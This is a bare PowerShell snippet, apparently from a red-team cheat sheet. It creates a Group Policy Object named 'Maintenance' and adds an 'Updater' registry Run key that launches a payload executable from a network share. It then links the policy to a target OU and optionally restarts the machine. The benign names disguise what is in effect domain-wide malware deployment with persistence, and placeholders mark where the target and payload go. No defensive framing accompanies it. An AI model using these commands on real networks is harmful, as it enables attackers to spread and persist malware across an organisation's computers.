New-GPO -Name "Maintenance"
Set-GPPrefRegistryValue -Name "Maintenance" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\[machine]\[share]\[payload.exe]" -Type ExpandString
Get-GPO -Name "Maintenance" | New-GPLink -Target "OU=[Target OU],DC=[domain]"
# optionally
Restart-Computer